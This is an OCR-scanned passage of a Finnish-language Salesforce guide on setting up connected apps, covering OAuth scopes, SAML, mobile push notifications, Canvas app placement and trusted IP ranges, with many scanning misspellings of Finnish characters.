Kun olet syottanyt kaikki tarvittavat tiedot, napsauta Tallenna tallentaaksesi uuden sovelluksesi. Nyt voit julkaista sovelluksesi, muokata
sitd tai poistaa sen. Jos kaytdssdsi on OAuth, sovelluksesi tallentaminen antaa sinulle kaksi uutta arvoa, joita sovellus kayttdd Salesforcen
kanssa kommunikoimiseen:

e Kuluttajan avain:Arvo, jota kuluttaja kdyttad tunnistaakseen itsensa Salesforcessa. OAuth-versiossa 2.0 téman viite on
client id.

e Kuluttajan salaisuus:Salaisuus, jota kuluttaja kdyttda maarittddkseen kuluttajan avaimen omistajuuden. OAuth-versiossa
20tdmdnviteon client secret.

@ Tarkedd: Ota huomioon yhdistetyn sovelluksen kenttid paivittaessasi, ettd joidenkin kenttien muutoksia sovelletaan valittdmasti
yhdistetyn sovelluksen kaikkiin asennettuihin versioihin. Nama ovat versiosta riippumattomia kenttid, jotka ohittavat pakkauksen
tai asennuksen elinkaaren. Yhdistetyn sovelluksen kdyttdjat ndkevat mm. kuvauksen muutoksen. Seuraavat kentdt toimivat talld
versiosta riippumattomalla tavalla.
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e Kuvaus

e Info-URL

e Logokuvan URL
e (allback URL

Perustiedot

M3aritd tdssa osiossa sovelluksesi perustiedot, kuten sovelluksen nimi, logo ja yhteystiedot.

1.

7.
8.

Syotd Yhdistetyn sovelluksen nimi.Tdmd nimindytetddn yhdistettyjen sovellusten luettelossa.

@ Nofe: Nimen taytyy olla yksiléllinen organisaatiosi nykyisille yhdistetyille sovelluksille. Voit kdyttad poistetun yhdistetyn
sovelluksen nimed uudelleen, jos yhdistetty sovellus luotiin Spring ‘14 -julkaisulla tai sitd uudemmalla. Et voi kdyttda poistetun
yhdistetyn sovelluksen nimea uudelleen, jos yhdistetty sovellus luotiin vanhemmalla julkaisulla.

Sy6td APT-nimi, jota kdytetddn yhdistettyyn sovellukseen viittaamiseen ohjelmasta. Se muuttuu oletusarvoisesti nimen versioksi,
jossa ei ole valilyonteja. Vain kirjaimet, numerot ja alaviivat ovat sallittuja, joten sinun taytyy muokata oletusarvoista nimed, jos
sovelluksen alkuperdinen nimi sisalsi muita merkkeja.

Sy6td Yhteystiedot: Sdhképosti -kenttddn sdhkopostiosoite, jota Salesforce kdyttda ottaakseen yhteyttd sinuun tai
tukitiimiisi. Tatd osoitetta ei luovuteta sovelluksen asentaville paakayttdjille.

Sy6téd Yhteystiedot: Puhelin -kenttdan puhelinnumero, johon Salesforce voi ottaa sinuun yhteyttd tarvittaessa. Tata

numeroa ei luovuteta sovelluksen asentaville padkayttdjille.

Sy6té Logo-kuvan URL ndyttddksesi logosi yhdistettyjen sovellusten luettelossa ja hyvaksymissivulla, jonka kdyttdja nakee
todennuksen yhteydessa. URL-osoitteen taytyy aina kdyttda HTTPS:ad. Logon kuva ei saa olla suurempi kuin 125 pikselid korkeampi
tai 200 pikselid leved, ja sen formaatin on oltava GIF, JPG, tai PNG, jonka tiedostokoko on enintddn 100 Kt. Oletusarvoinen logo on
pilven kuva. Sinulla on useita tapoja mukautetun logon lisédmiseksi.

e Voit lahettdd oman logokuvan napsauttamalla Laheta logokuva. Valitse kuva paikalisesta tiedostojarjestelmastd, joka vastaa
logon kokovaatimuksia. Kun ldhetyksesi on onnistunut, logon IRL nékyy Logokuvan URL -kentdssa. Muutoin, varmista, ettd
logo on kokovaatimusten mukainen.

e Voit valita logon myds tarjotuista esimerkista napsauttamalla Valitse jokin esimerkkilogoistamme. Kaytettavissa oleviin
logoihin sisaltyy Salesforce -sovellusten, kolmansien osapuolten sovellusten ja standardisovellusten logot. Napsauta haluamaasi
logoa, kopioi ja liitd esitetty URL Logokuva URL -kenttaan.

e Voit kdyttda julkisesti ylldpidettya logoa Salesforce -palvelimilla Idhettdmalld kuvan, joka vastaa logotiedoston vaatimuksia
(enintdan 125 pikselia korkea ja 200 pikselid leved, tiedostomuoto GIF, JPG tai PNG, ja tiedoston koko enintadn 100 Kt ) asiakirjana
kdyttden Asiakirjat -vdlilehted. Katso sitten kuvaa saadaksesi sille URL:n ja syotd URL Logokuvan URL -kenttaan.

Sy6td Kuvakkeen URL nayttddksesi logon OAuth-hyvaksymissivulla, jonka kdyttdja ndkee, kun han kayttda yhdistettyd sovellusta
ensimmadistd kertaa. Logo voi olla enintadn 16 pikselid korkea ja leved valkoisella taustalla. Esimerkkilogot ovat saatavilla myds
kuvakkeille.

Voit valita logon my®s tarjotuista esimerkistd napsauttamalla Valitse jokin esimerkkilogoistamme. Napsauta haluamaasi logoa,
kopioi ja liité esitetty URL Kuvakkeen URL -kenttddn.
Jos sinulla on verkkosivu, jossa on lisdtietoja sovelluksestasi, syéta Info-URL.

Sy6td Kuvaus, joka ndytetdan yhdistettyjen sovellusten luettelossa.

Ennen Winter '14 -julkaisua Aloitus-URL ja Mobiilialoitus-URL madritettiin tdssd osiossa. Namd kentdt loytyvat nyt alla
olevista kohdista Web-sovelluksen asetukset ja Mobiilisovelluksen asetukset.
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API (ota OAuth-asetukset kayttéon)

Tama osio maarittad, miten sovelluksesi kommunikoi Salesforcen kanssa. Valitse Ota OAuth-asetukset kayttodn madrittadksesi
todennusasetukset.

1. Sy6td Callback-URL (pddtepiste), johon Salesforce kutsuu sovellustasi OAuth-todennuksen aikana: se on OAuth
redirect uri.Riippuenkayttdmadstasi OAuth-kulusta, tdmd on tavallisesti URL-osoite, johon kdyttdjan selain uudelleenohjataan
onnistuneen todennuksen jdlkeen. Koska tata URL-osoitetta kaytetdan joissakin OAuth-kuluissa kdyttdoikeusvaltuuden mydntamiseen,
URL-osoitteen taytyy kdyttdd suojattua HTTP:ta (HTTPS:td) tai mukautettua URI-jdrjestelmaa. Jos syotat useita callback-URL-osoitteita,
Salesforce vertaa sovelluksen mddrittdamaa callback-URL-arvoa Callback-URL-kentdssa oleviin arvoihin. Sen taytyy vastata jotakin
naistd arvoista lapaistakseen vahvistuksen.

2. Jos kaytat JWT OAuth -kulkua, valitse Kayta digitaalisia allekirjoituksia.Jossovelluskayttad sertifikaattia,
napsauta Valitse tiedosto ja valitse sertifikaattitiedosto.

3. Lisad kaikki tuetut OAuth-vaikutusalueet valitut OAuth-vaikutusalueet -kenttddn. Nama vaikutusalueet viittaavat
kdyttooikeuksiin, joita yhdistetyn sovelluksen suorittava kayttdjid myontdd, ja niiden perdssa on OAuth-valtuuden nimi sulkeissa:

Kayta ja hallinnoi Chatter sydtettasi (chatter_api)
Sallii padsyn vain Chatter REST API -resursseihin.

Kayta ja hallitse tietojasi (api)
Sallii paasyn nykyiselle sisaan kirjautuneelle kayttajatilille APLIla, kuten REST AP ja Bulk APL. Téhdn arvoon sisaltyy myds
chatter api,joka sallii Chatter REST API -resurssien kayton.

Kayta perustietojasi (id, profiili, sahkopostiosoite, osoite, puhelinnumero=
Sallii padsyn henkilollisyys-URL -palveluun.

Kayta mukautettuja kayttooikeuksia (custom_permissions)
Myontda padsyn yhdistettyyn sovellukseen liitetyn organisaation mukautettuihin kayttooikeuksiin ja ndyttad, onko nykyiselld
kayttdjalla kyseiset kayttdoikeudet kdytossa.

Sallii paasyn yksiloivaan tunnisteeseen (openid)
Antaa kayttdoikeudet nykyisen sisdan kirjautuneen kayttajan yksilolliseen tunnisteeseen OpenlD -sovelluksissa.

Taydet kayttooikeudet (taysi)
Sallii padsyn kaikkiin tietoihin, jotka ovat sisdaankirjautuneen kayttajan kdytettdvissa. full ei palauta pdivitysvaltuutta. Sinun
taytyy erikseen pyytdd refresh token-vaikutusaluetta hakemaan pdivitysvaltuus.

Suorittaa pyyntoja puolestasi koska tahansa (refresh_token, offline_access)
Sallii tunnuksen pdivittdmisen palautettavaksi, jos olet oikeutettu sen vastaanottamiseen. Tdmd mahdollistaa sovelluksen
vuorovaikutuksen kayttdjatietojen kanssa kdyttdjdn ollessa yhteydettomadssa tilassa. refresh token toimialue tarkoittaa
samaa kuin offline access.

Myonna kayttooikeus mukautettuihin sovelluksiin (visualforce)
Sallii pdasyn Visualforce-sivuille.

Myonna kayttooikeus tietoihisi Internetin kautta (web)
Tarjoaa mahdollisuuden kdyttdd access_token-valtuutta verkossa. Téhdn sisdltyy myds visualforce, joka sallii
Visualforce-sivujen kayton.

4. Hallitse, miten OAuth-pyyntd kasittelee tunnusvaltuuden. Jos OAuth-pyynndn scope on openid, palautettu valtuus voi sisdltaa
tunnusvaltuuden.

e Jos haluat sisallyttad tunnusvaltuuden pdivitysvaltuuden vastauksiin, valitse Sis&llyt&d tunnusvaltuus.Sesisdllytetddn
aina kayttooikeusvaltuuden vastauksiin.

e Kun tunnusvaltuuden ensisijainen asetus on kdytdssd, madrita toissijaiset asetukset, jotka hallitsevat tunnusvaltuuden siséltéd
kdyttooikeus- ja pdivitysvaltuuksien vastauksissa. Valitse vahintadn yksi ndista asetuksista.
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Sisallyta standardilausekkeet
Sisallytd standardilausekkeet, jotka sisaltavat kayttajaan liittyvia tietoja, kuten kayttajan nimi, profiili, puhelinnumero ja osoite.
OpenlID Connect -asetukset madrittavat standardilausekkeiden joukon, joka palautetaan tunnusvaltuudella.

Sisallyta mukautetut attribuutit
Jos sovelluksellesi on madritettyjd mukautettuja attribuutteja, sisdllyta ne tunnusvaltuuteen.

Sisallyta mukautetut kdyttdoikeudet
Jos sovelluksellesi on madritettyjd mukautettuja kdyttdoikeuksia, sisédllytd ne tunnusvaltuuteen.

Josorganisaatiollasioli Kayttajan hyvidksyntdid ei vaadita tdmin organisaation kiyttajille -vaihtoehto
valittuna etdkdyttooikeudessasi ennen Spring "12 -julkaisua, sovelluksen luomiseen kadytetyn organisaation kayttdjilld on edelleen
automaattinen hyvaksynta sovellukseen. Vain luku -muotoinen Kayttajdn hyvidksyntdd ei vaadita t&aman
organisaation kdyttajille -valintaruutu on valittuna tdamdn ehdon osoittamiseksi. Suosittelemme, ettd kun olet luonut
yhdistetyn sovelluksen, pddkdyttdja asentaa sen ja mddrittdd Sallitut k&yttajat arvoon Padkayttidjdn hyvaksymit

kayttajat. Jos etdkdyttooikeus ei ollut alunperin valittuna, valintaruutua ei ndyteta.

Web-sovelluksen asetukset

Syotd sovelluksellesi Aloitus—-URL ohjataksesi kdyttdjdsi tiettyyn sijaintiin todentamisen jdlkeen. Jos et syétd Aloitus—-URL-0soitetta,
kdyttajat ohjataan sovelluksen oletusarvoiselle aloitussivulle todennuksen jélkeen. Jos luomasi yhdistetty sovellus on esitysaluesovellus,
sinun ei tarvitse madrittad arvoa tdhan kenttdan. Esitysaluesovelluksen URL -kenttd sisdltdd URL-osoitteen, jota yhdistetty
sovellus kutsuu.

Jos yhdistetty sovelluksesi kdyttda SAML-palveluntarjoajaa, valitse Ota SAMIL kayttdén.Sy0td Entiteetin tunnus, ACS
URL, Aiheen tyyppi, Nimitunnuksen muoto ja Toimittaja,jotka ovat saatavilla palveluntarjoajaltasi. Valitse
Palveluntarjoajan allekirjoitukset,jos palveluntarjoaja on antanut sinulle suojaussertifikaatin. Hae sertifikaatti
jarjestelmdstasi. Tdmd on tarpeellista vain, jos suunnittelet kdynnistavasi sisdankirjautumisen Salesforceen palveluntarjoajasta ja
palveluntarjoaja allekirjoittaa SAML-pyynnot.

@ Tarkedd: Jos lataat sertifikaatin, kaikki SAML-pyynnot tulee allekirjoittaa. Jos et lataa sertifikaattia, kaikki SAML-pyynnot hyvaksytaan.

Valitse vaihtoehtoisesti Salaa SAML Vastaus lahettddksesi sertifikaatin ja valitaksesi salausmetodin vahvistuksen salaukselle.
Kelvolliset salausalgoritmiarvot ovat AES—128 (128-bittinen avain). AES-256 (256-bittinen avain) ja Triple-DES (Triple Data
Encryption Algorithm).

Mukautettu yhdistetyn sovelluksen kdsittelijc

Mukauta yhdistetyn sovelluksen toimintatapoja Apexilla. Luo luokka, joka laajentaa Apex-luokkaa ConnectedAppPlugin,ja liitd
se yhdistettyyn sovellukseen. Tamd luokka voi tukea uusia todennusprotokollia tai vastata kdyttdjdattribuutteihin liketoimintaprosessia
hyodyntavdlla tavalla.

Liitdnndinen suoritetaan kayttdjatilin puolesta. Valitse Suorita kayttajana -kenttdan liitanndisen kayttdjd. Jos kayttdjad ei ole
vahvistettu yhdistetylle sovellukselle, tee niin authorize-metodilla. Lisdtietoja on ConnectedAppPlugin-luokan osiossa
Force.com Apex Code Developer's Guide -oppaassa.

Mobiilisovelluksen asetukset

1. Sydtd Mobiilialoitus—-URL, joka ohjaa kdyttdjat tiettyyn sijaintiin, kun sovellusta kaytetdan mobiililaitteesta. Jos et syotd
Mobiilialoitus-URL-osoitetta, kdyttdjdt ohjataan Web-sovelluksen asetuksissa madritettyyn Aloitus-URL-0soitteeseen.
Jos luomasi yhdistetty sovellus on esitysaluesovellus, sinun ei tarvitse sy6ttad arvoa téhan kenttaan. Esitysaluesovelluksen URL -kenttd
sisaltda URL-osoitteen, jota yhdistetty sovellus kutsuu.
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Valitse PIN-suojaus, jos sovelluksesi tukee PIN-suojausta. Tama sallii paakdyttdjan maarittdd istunnon aikakatkaisun ja PIN-koodin
pituuden mobiilisovelluksille yhdistetyn sovelluksen asentamisen jalkeen. Salesforce Mobile SDK
(https://developer.salesforce.com/page/Mobile_SDK) tukee automaattisesti PIN-suojausta. Voit myds ottaa sen kdyttdon manuaalisesti
lukemalla mobile policy-objektin kdyttdjan Identiteetti-URL-osoitteesta.

Maaritd sovellusalusta valitsemallaiOS tai Android alasvetoluettelosta.

Méaaritd mobiilisovellukselle tuetut laitemuodot Rajoita laitetyyppiin -alasvetoluettelosta. Mahdolliset arvot ovat Puhelin,
Tabletti tai Mini-tabletti. Jos sovellus tukee kaikkia laitemuotoja, dla valitse mitdan arvoa.

Syéta mobiilisovelluksen Sovelluksen versio.
Sydta sovelluksen vaatima Kayttdjarjestelmdn vahimmdisversio.

Valitse Yksityinen sovellus vahvistaaksesi, ettd sovellus on tarkoitettu vain sisdiseen kdyttdon (ei julkiseen). Tamd on
pakollista, koska Apple ei salli julkisten mobiilisovellusten toimittamista sen oman sovelluskaupan ulkopuolelle.

Jos mobiilisovellus on yksityinen, madrita sijainti Mobile App Binary -tiedostoon.Tamaon IPA-tiedosto i0OS-kayttojdrjestelmdssa
ja APK-tiedosto Android-jdrjestelmassa.

Vain iOS-sovellukset:
a. Maaritd sovelluskuvakkeen sijainti. Tdmd on kuvake, joka ndytetdan sovelluksen lataamisen ja asentamisen aikana iOS-laitteessa.

b. Maaritd iOS Bundle -tunnus.

@ Nofe: Sinun tdytyy maarittda iOS-versiossa 7 ja sitd uudemmissa bundle-tunnus, jota kaytit sovelluksen kehittamiseen
XCode:ssa. Muutoin loppukayttdja nakee kaksi sovelluskuvaketta sovelluksen asennuksen aikana.

10. Jos yhdistetty mobiilisovellus on julkinen sovellus etka olet ladannut sen bindaritiedostoa Salesforce:en, syétd sovelluksen

bind&dri-URL tidhan.

@ Nofte: Jos poistat mobiili-integraation olemassa olevan yhdistetyn sovelluksen uudesta versiosta, mobiili-integraatiota ei sisallyteta

endad mihinkadn yhdistetyn sovelluksen versioon. Kuvittele esimerkiksi, ettd olet julkaisemassa pakettia, joka sisaltdd yhdistetyn
sovelluksesi version 1.0 mobiili-integraatiolla. Poista sitten mobiili-integraatio sovelluksesta, paketoi se uudelleen ja julkaise se
versiona 1.1. Jos asiakas asentaa nyt version 1.0 sisaltavan paketin, yhdistetyn sovelluksen versio 1.0 ei sisallda mobilii-integraatiota.

Yhdistetty sovelluksesi voi vastaanottaa tydntoilmoituksia, jos:

Sovelluksesi on laadittu Salesforce Mobile SDK:II.
Sovelluksesi ottaa kdyttoon Mobile SDK -tyéntéilmoitusprotokollan alustallesi.
Olet mobiilialustan tarjoajan (Apple tai Google) rekisterdity sovelluskehittdja.

Sovelluksesi on rekisterdity Apple Push Notification Service (APNS) -palveluun iOS-tyontéilmoituksia varten tai Google Cloud Messaging
(GCM) -palveluun Android-tyéntéilmoituksia varten.

Olet ottanut kayttoon Apex-kdsittelijdt tyontdilmoituksia varten.

@ Note: Yhdistetty sovellus, jossa tydntdilmoitukset on otettu kayttddn, voi tukea vain yhtd mobiilialustaa. Jos tarjoat

mobiilisovelluksestasi Android- ja i0S-versiot ja sinun taytyy tukea tydntdilmoituksia molemmissa versioissa, luo yhdistetty sovellus
kullekin alustalle.

Lisatietoja ndiden vaatimusten tayttamisesta on Salesforce Mobile Push Notifications Implementation Guide -oppaassa.

Tyontsilmoitusten madrittdaminen APNS:lle (iOS):

1.

Valitse Tyontoilmoitukset kaytossa.

2. Valitse tuetuksi tydntoalustaksi Apple.

3. Valitse Apple-ymparist6, joka kelpaa APNS-tyontoilmoitussertifikaatillesi.
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4. Valitse sertifikaatiksi . p12-sertifikaattitiedosto, jonka sait APNS:Ita, kun rekisterdit sovelluksesi tydntdilmoituksia varten (esimerkiksi

5.

appkey.pl2).

Syotd salasana . p12-sertifikaattitiedostollesi.

Tyontsilmoitusten maarittdminen GCM:lle (Android):

1.
2.
3.

Valitse Tyontoilmoitukset kdytossa.
Valitse tuetuksi tyontoalustaksi Android GCM.

Sy6ta palvelusovellusten avaimeksi (API-avaimeksi) avain, jonka sait, kun rekisterdidyit kehittdjaksi Googlella.

Tyontoilmoituksille maarittamasi mobiilialustan muuttaminen:

1.

Poista valinta Tydntdilmoitukset kaytossa.

. Tallenna yhdistetty sovellus ja napsauta sitten Muokkaa.

2
3.
4

Muuta mobiiliasetuksista sovellusalustaa ja siihen liittyvid arvoja uuden alustan mukaisesti.

Madrita tyontoilmoitukset uudelleen uudelle alustalle.

Esitysaluesovelluksen asetukset

Esitysaluesovelluksia on kahta eri tyyppia:

Esitysaluesovellukset, jotka organisaation paakdyttdja asentaa.

Henkilokohtaiset esitysaluesovellukset, jotka organisaation loppukdyttdjat asentavat. Kayttajat voivat kdyttaa henkilokohtaista
esitysaluesovellusta Chatter-valilehdestd, ja heita pyydetaan sallimaan sovelluksen muodostaa yhteyden heidan Salesforce-tietoihinsa.
Nama ohjeet sisaltdvdt valinnaisen vaihtoehdon sovelluksen muuntamiseksi henkilékohtaiseksi esitysaluesovellukseksi. Lisdtietoja
on Force.com Canvas Developer’s Guide -oppaan kohdassa "Canvas Personal Apps".

Jos yhdistetty sovelluksesi ndytetdan esitysaluesovelluksena, valitse Force.com Canvas.

Kirjoita Esitysaluesovelluksen URL kolmannen osapuolen sovellukseen. Kayttdjd ohjataan tahan URL-osoitteeseen, kun
han napsauttaa linkkia esitysaluesovellukseesi.

Valitse Kayttdoikeusmenetelms. Tdma madrittdd, miten esitysaluesovellus kdynnistdd OAuth-todennuskulun.

e Allekirjoitettu pyyntd (POST):OAuth-todennustakaytetddn, muttakun padkayttdjd asentaa esitysaluesovelluksen,
kayttdjille annetaan epasuorasti kayttdoikeus. Tastd johtuen kdyttdjid ei pyydetd antamaan kolmannelle osapuolelle lupaa heiddn
kdyttdjatietojensa kayttamiseen. Kun kaytat tata kayttdoikeusmenetelmad, todennus ldhetetddn suoraan esitysaluesovelluksen
URL-osoitteeseen.

Jos esitysaluesovelluksesi kdyttad allekirjoitetun pyynndn todennusta, varmista, ettet lisdd Suorita pyyntsoja
puolestasi koska tahansa -vaihtoehtoa Valitut OAuth-vaikutusalueet -kenttdan.

e OAuth Web-kulku (GET):OAuth-todennusta kdytetdan ja kdyttdjia pyydetddn antamaan kolmannelle osapuolelle lupa
heidan tietojensa kayttamiseen. Kun kaytat tata kdyttdoikeusmenetelmaa, esitysaluesovelluksen taytyy kdynnistaa
OAuth-todennuskulku.

Jos kaytat SAML-kertakirjautumista (5SO) esitysaluesovelluksen todentamiseen, valitse SAML-k&ynnistysmetodi-kenttd.
Tama kenttd on kaytossa, jos valitset Web-sovelluksen asetukset -osiosta Ota SAMIL kayttodn. Tdmdn kentdn vaihtoehdot
ovat:

¢ Henkildllisyydentarjoajan kdynnistama—Salesforce tekee alustavan pyynnon kertakirjautumiskulun kdynnistamiseksi.

¢ Palveluntarjoajan kdynnistama — Esitysaluesovellus kdynnistad kertakirjautumiskulun, kun sovellus kutsutaan esiin.

Valitse Sijainnit-kentdstd paikat, joissa esitysaluesovellus ndytetadn kayttajille.
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e Chatter-syote— Esitysaluesovellus ilmestyy sy6tteeseen. Jos tdma vaihtoehto on valittuna, sinun on luotava EsitysalueViesti
-sy6tekohde ja varmistettava, ettd nykyiselld kdyttajalld on esitysaluesovelluksen kayttdoikeudet.

e Chatter-valilehti— Esitysaluesovellus ndytetadn sovellusten navigointiluettelossa Chatter-vélilehdessa. Jos tdma vaihtoehto
on valittuna, esitysaluesovellus ndytetddn automaattisesti tdssa sijainnissa.

e Konsoli— Esitysaluesovellus ndytetddn Salesforce-konsolin alatunnisteessa tai sivupalkeissa. Jos tdma vaihtoehto on valittuna,
sinun taytyy valita esitysaluesovelluksen sijainti konsolissa lisadmalld se mukautettuna konsolikomponenttina.

e Asettelut ja mobiilikortit— Esitysaluesovellus voidaan ndyttad sivuasetteluna tai mobiilikorttina. Jos tdmé vaihtoehto on
valittuna, valitse esitysaluesovelluksen sijainti lisédmalld se sivuasetteluun.

® Mobile Nav— Esitysaluesovellus on kdytettdvissa Salesforce -navigointivalikon kautta.

@ Note: Esitysaluesovelluksia ei ndytetd Salesforce1-navigointivalikossa Android-mobiililaitteilla. Jos haluat nahda
esitysaluesovellukset Android-laitteen navigointivalikossa, kirjaudu sisdan Salesforce 1-mobiiliselainsovellukseen.

e Open CTl—Esitysaluesovellus ndytetddn puheluiden hallintatyokalussa. Jos tdma vaihtoehto on valittuna, sinun taytyy maarittdd
esitysaluesovellus puhelukeskuksesi madritystiedostoon sen ndyttamiseksi.

e Julkaisija—Esitysaluesovellus ndytetdan kehyksessa. Jos tamd vaihtoehto on valittuna, sinun tdytyy luoda myds esitysalueen
mukautettu pikatoiminto ja lisattdva se globaaliin asetteluun tai objektin asetteluun.

e Visualforce-sivu— Esitysaluesovellus voidaan ndyttda Visualforce-sivulla. Jos lisddt <apex : canvasApp> -komponentin
ndyttdaksesi esitysaluesovelluksen Visualforce -sivulla, muista valita tdma sijainti esitysaluesovellukselle tai ndet virheen.

6. Valitse Luo toiminnot automaattisesti luodaksesiglobaalin toiminnon esitysaluesovelluksellesi. Jos haluat luoda
esitysaluesovellukselle globaalin toiminnon, sinun taytyy valita Sijainti-kenttddn Julkaisija: muutoin globaaleja toimintoja
ei luoda. Voit myds luoda toiminnon myéhemmin manuaalisesti.

7. Josoletottanut kdyttoon oman Canvas.CanvasLifecycleHandler -Apex-luokkasi, sy6td luokan nimi E1inkaariluokka-kenttaan.
CanvaslifecycleHandler -Apex-luokan tarjoaminen sallii sinun mukauttaa kontekstitietoja ja esitysaluesovelluksesi kdyttaytymista.

8. Jos haluat sallia loppukdyttdjien asentaa sovelluksesi, valitse Ota k&yttooén henkilékohtaisena
esitysaluesovelluksena -valintaruutu. Chatter-vélilehti on ainoa sijainti, joka tukee henkildkohtaisia
esitysaluesovelluksia. Lisdtietoja henkilokohtaisista esitysaluesovelluksista on Force.com Canvas Developer’s Guide -oppaan kohdassa
"Canvas Personal Apps".

Note: Josetnde Ota kdyttdon henkildkohtaisena esitysaluesovelluksena -asetusta, sovelluksen
kohdeorganisaation padkayttdja ei ole ottanut henkildkohtaisia esitysaluesovelluksia kdyttdon. Lisdtietoja tdstd vaatimuksesta
on Force.com Canvas Developer’s Guide -oppaan kohdassa "Enabling Canvas Personal Apps within an Organization".

KATSO MYOS:
Yhdistetyn sovelluksen muokkaaminen, pakkaaminen tai poistaminen
Yhdistetyt sovellukset

Tunnus-URL-osoitteet
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Yhdistetyn sovelluksen muokkaaminen, pakkaaminen tai poistaminen

KAYTTJAOIKEUDET EDITION-VERSIOT

Lukeminen: Sovelluksen mukautusoikeus Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Luominen, pdivittdminen tai poistaminen:  Sovelluksen mukautusoikeus JA joko

kaikkien tietojen muokkausoikeus TAI

yhdistettyjen sovellusten hallintaoikeus Yhdistetty|d sovelluksia vol

luoda: Group Edition-,
Professional Edition-,
Enterprise Edition-,
Performance Edition-,
Unlimited Edition- ja

Kaikkien kenttien pdivittdminen, pois lukien Sovelluksen mukautusoikeus
Profiilit, Kayttdoikeusjoukot ja
Palveluntarjoajan SAML-attribuutit:

Profiilit-, Kayttdoikeusjoukot- ja Sovelluksen mukautusoikeus JA kaikkien Developer Edition
Palveluntarjoajan SAML-attribuutit- kenttien  tietojen muokkausoikeus -versioissa
pdivittdminen:

Yhdistettyja sovelluksia voi

Asennuksen poistaminen: Pakettien latausoikeus asentaa: kaikissa versioissa
AppExchange-palvelusta

Kun olet luonut yhdistetyn sovelluksen, voit muokata sitd tai paketoida tai poistaa sen.

@ Note: Nimen taytyy olla yksilollinen organisaatiosi nykyisille yhdistetyille sovelluksille. Voit kdyttad poistetun yhdistetyn sovelluksen
nimea uudelleen, jos yhdistetty sovellus luotiin Spring "14 -julkaisulla tai sitd uudemmalla. Et voi kdyttad poistetun yhdistetyn
sovelluksen nimed uudelleen, jos yhdistetty sovellus luotiin vanhemmalla julkaisulla.

Yhdistetyn sovelluksen muokkaaminen

Voit pdivittaa yhdistetyn sovelluksen milloin tahansa. Kirjoita Maaritykset-valikon Pikahaku-kenttddn Sovellukset ja valitse
Sovellukset. Valitse yhdistetyn sovelluksen nimi luettelosta ja napsauta Muokkaa. Tallenna muutoksesi napsauttamalla Tallenna.

Kun olet luonut yhdistetyn sovelluksen, voit palata lisatietosivulle ja madrittda sallitut IP-alueet.

IP-alueet toimivat OAuthia kayttavien yhdistettyjen sovellusten kanssa, mutta eivat SAML:ia kdyttdvien yhdistettyjen sovellusten kanssa.
Mdarita yhdistetylle sovellukselle kelvolliset IP-osoitteet.

Médrita sallittu IP-alue seuraavalla tavalla.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Sovellukset javalitse Sovellukset.

2. Valitse yhdistetyn sovelluksen nimi luettelosta.

3. OAuth Web palvelinkulun Luotetulle IP-alueelle saat napsauttamalla Uusi.

4. Kirjoita sallittu IP-osoite Aloitus-1P-osoite-kenttadn ja suurempi IP-osoite Lopetus-IP-osoite-kenttdan.

Voit syottda useita erillisia alueita napsauttamalla Uusi kutakin aluetta kohti.

Voit sallia tiettyjen kdyttdjien kayttda yhdistettya sovellusta luotetun IP-alueen ulkopuolelta, koskien OAuthia kadyttavid yhdistettyjd
sovelluksia Voit esimerkiksi sallia matkalla olevien kayttdjien kdyttad yhdistettyd sovellusta valitsemalla sille vaihtoehdon Lievenna
IP-rajoituksia toisella tekijallé&.Kunkayttdjdyrittdd kdyttad yhdistettyd sovellustatdmadn alueen ulkopuolelta, hantd
pyydetddn tarjoamaan todennuksen toinen tekija, kuten valtuuskoodin. Kun toinen tekija on todennettu onnistuneesti, kdyttdja voi

kdyttdd yhdistettyd sovellusta luotetun IP-alueen ulkopuolelta.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Yhdistetyt sovellukset ja valitse yhdistettyjen sovellusten
hallintavaihtoehto.
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2. Napsauta Muokkaa yhdistetyn sovelluksen nimen vierestd ndhdaksesi sovelluksen arvot.
3. Valitse IP-hellitys-kentdn alasvetoluettelosta Hel1itd IP-rajoituksia.
@ Note: Josistuntoasetusten Sovella sisd&dnkirjautumisen IP-alueita kaikkiin pyynt&ihin -vaihtoehto

on otettu kayttoon, se vaikuttaa IP-rajoitusten lieventamiseen. Lisdtietoja on kohdassa Yhdistettyjen sovellusten IP-rajoitusten
lieventdminen ja jatkuva IP-rajoitusten kaytto sivulla 167.

Kun olet luonut yhdistetyn sovelluksen, voit palata sen lisdtietosivulle ja madrittad mukautettuja attribuutteja. Mukautat attribuutit
madrittavat SAML-metadatan tai OAuth-suorituksen aikana luettavat OAuth-parametrit.

1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Sovellukset javalitse Sovellukset.
2. Valitse yhdistetyn sovelluksen nimi luettelosta.
3. Napsauta Mukautettujen madritteiden osiossa Uusi.

Kullakin mukautetulla attribuutilla taytyy olla yksilollinen avain ja sen taytyy kayttad Lisaa kentta -valikossa kdytettavissd olevia
kenttid. Maaritd esimerkiksi avaimen nimi, kuten country,jasydtd kenttd SOrganization.Country.Kunkdytéssd on SAML,
attribuutit Iahetetadn SAML-attribuuttilausekkeina. Kun kdytdssa on OAuth, attribuutit ovat kdytettdvissa
custom_attributes-objektina kdyttdjan Identiteetti-URL-osoitteessa.

Seuraavat mukautetut attribuutit ovat kdytettavissa yhdistetyille Salesforce 1-sovelluksille.

Taulukko 1: Android-laitteiden yhdistettyjen Salesforce1-sovellusten mukautetut attribuutit

Attribuutin avain Attribuutin arvo Kuvaus
CALL_HISTORY e DISABLED e Josarvoon DISABLED, puheluiden
o ADMIN DEFINED kirjiaaminen lokiin poistetaan
navigointivalikosta.
® SIMPLE

e Josarvoon ADMIN DEFINED,
Android-puheluiden paikallinen
kirjiaaminen lokiin otetaan kayttoon.

e Josarvoon SIMPLE, Aura-puheluiden
kirjaaminen lokiin otetaan kayttoon.

Taulukko 2: iOS-laitteiden yhdistettyjen Salesforce1-sovellusten mukautetut attribuutit

Attribuutin avain Attribuutin arvo Kuvaus
USE_ALTERNATE_USER_PROFILE o ppyp e Josarvoon TRUE, Aura-profiilin
e FALSE aloitussivu otetaan kayttoon.

e Josarvoon FALSE, iOS-profiilin oma
aloitussivu otetaan kayttoon.

SHOW_OPEN_IN ® FALSE e Josarvoon FALSE, kdyttajdt eivat voi

jakaa tiedostoa linkilla tai avata
tiedostoa kolmannen osapuolen
sovelluksessa.

Maarita mukautetut attribuutit lainausmerkkien sisalle.
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@ Tarkedd: Ota huomioon yhdistetyn sovelluksen kenttid paivittaessasi, ettd joidenkin kenttien muutoksia sovelletaan valittomasti
yhdistetyn sovelluksen kaikkiin asennettuihin versioihin. Namd ovat versiosta riippumattomia kenttia, jotka ohittavat pakkauksen
